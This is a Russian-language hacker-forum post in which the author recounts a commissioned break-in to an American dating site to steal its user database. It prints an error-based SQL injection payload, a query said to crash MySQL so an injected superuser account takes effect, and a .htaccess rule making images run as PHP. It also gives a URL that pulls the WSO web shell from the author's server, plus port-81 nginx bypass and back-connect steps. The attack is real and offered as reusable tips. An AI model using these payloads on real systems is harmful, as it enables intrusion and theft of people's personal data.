INTRO
Доброго времени суток!
По немногочисленным просьбам решил написать ешё 1 статью/роман_хакреа/рассказ. Причина этому - накопившиеся в голове проблеммы и их решения, с которыми может столкнутся каждый.
Сразу предупреждаю, что ничего критически нового тут нету, и если вы гуру, то вы врядли найдете сдесь что-то новое. Т.К. эта статья написана для таких же как и я сам. Для тех, кто учится.
БЛАГОДАРНОСТИ
BigBear - за все
Га-Ноцри - дедик
НАХТАЧЕК - хинты
nikp - финт ушами с мускулом
Пожалуй, погнали!
СКУЛЬ
Жертвой был какой-то американский дейтинг. Заказ - как обычно - бд с юзаками.
Все как обычно, кинул в акунетикс, и сам пошел искать ручками. В этот раз я опередил софт, и нашел что-то странное. Как оказалось позднее, скуль была в ордере. Как юнионовская она не крутилась, хавидж начал крутить как time based (что не удивительно, т.к. у него на меня вообще аллергия ), и крутить пришлось ручками.
Вывод ошибки был, ну и понятно я попытался раскрутить как error based. Вышло вот что:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])and([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"](*),[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]database[/COLOR][COLOR="#007700"]())[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]limit[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]floor[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]group[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]by[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]and[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]--[/COLOR][COLOR="#FF8000"]/**/[/COLOR][/COLOR]
Удивляло больше всего меня то, что конструкция
and 1=1 помогала только при использование
ДВАЖДЫ! Почему я так и не выяснил...
Мне повезло, у моего юзера была возможность читать mysql.user, но file_priv был N. Спустя пару запросов, я извлек юзера с кривыми правами (чтение\запись по всей бд) и host=%
Ближайший wso -> SQL -> connect -> УРА! Я внутри.
Писать файлы я не мог, но мог редактировать mysql.user, что доставляло не мение. Я создал себе юзера, примитивным insert, с доступом откуда угодно, и полными правами. Но тут был облом... Зайти под ним я не мог, для этого требоволось применить изменения в силу. На команду
Сообщение от
None
FLUSH PRIVILEGES;
прав не было, а сервер не перезагружался месяцами. И тут появился товарищь
nikp и сказал:
!ПОЛЕЗНЯШКА НОМЕР РАС!
Сообщение от
nikp
l1ght
находил такой способ
Код:
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
mysql крашится от этого запроса
Мускул упал, и через 2 минуты самостоятельно ребутнулся. Ещё через 5-7 секунд у меня были рут права
ШЕЛЛ
Наверное больше всего гемора доставила заливка шелла.
Писать я мог, но незнал куда. Почитав
ЭТО в пару запросов я извлек конфиг апача, ну а из него и путь. Но дало мне это не много, так как папка с правами 777 была одна, и в ней нельзя было запускать ничего как php.
Ясное дело, после минуты раздумий я решил написать свой .htaccess (с блэк-джэком и шлюхами) в котором банально запускал бы .gif как php.
Сказано - сделано, но опять облом. Обычный перенос строки превращался в "/".
!ПОЛЕЗНЯШКА НОМЕР ДВАС!
Сообщение от
Expl0ited
в качестве переноса строки нужно использовать
\r
select "
test
\r
test2
" into outfile
'/путь/1.txt'
Код:
cat 1.txt
test
test2
если использовать
\n
то получится:
Код:
cat 2.txt
test\
test2
Записал в него я следубщее:
Сообщение от
Га-Ноцри
Меня иногда выручала подобная конструкция:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]php_flag engine on[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]либо php engine on[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phtml[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]html
AddHandler application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]phtml[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]html[/COLOR][/COLOR]
Так, .htaccess записан, но не работает. Тупо игнорируется. Я перепробывал все варианты, подпапки с правами записи заканчивались, а мускулом файлы удалять нельзя, что делать я не знал...
После пачки мальборо и 3 чашек какого-то кофе, какого не в курсе, мама принесла , я забил на это дело и решил как тру-гуру юзать низкоуровневые атаки на порт. Открыл nmap, воткнул IP, просканил... и... фак май моск!!!
Сообщение от
None
nginx - 80
apache -81
Понятное дело нгиникс плевал на мои .htaccess, т.к. эта фича чисто апачевская. Любимая опера понятно обращалась по 80 порту, и ответ мне выдавал нгиникс. Я попробывал следующее:
!ПОЛЕЗНЯШКА НОМЕР ТРИС!
target.com:81
Сайт загрузился отлично.
target.com:81/uploads/1/asd.gif
И о чудо, вывелось ранее записаное мной в эту "картинку" echo. И phpinfo() тоже кстате вывелось
target.com:81/wtf2.gif?a=copy("http://www.myserser.com/wso.txt","/home/target/public_html/uploads/1/wso.gif");
Вобщем, все сработало. Я зашел в шелл.
ШЕЛЛ
Первым делом я глянул на ядро
Сообщение от
None
Linux target 2.6.34.7-0.7-default #1 SMP 2010-12-13 11:13:53 +0100 x86_64
2010 год, вроде нормально. Бинд порт не сработал, тогда я отжал дедик, и зацепился бэк-коннектом. Но увы... Уже 10 сплоитов не помогли... Стоит там openSUSE 11.3 которя не хочет рутатся, не в какую... увы...
Так что, если есть какие идеи по руту - мое пм открыто
Подробнее о проблемме
тут
Вот собственно и все. Оранжевым выделенны моменты, которые стоит запомнить, или записать.
Всем спасибо, критика уместна.
Pirotexnik
Древовидный вид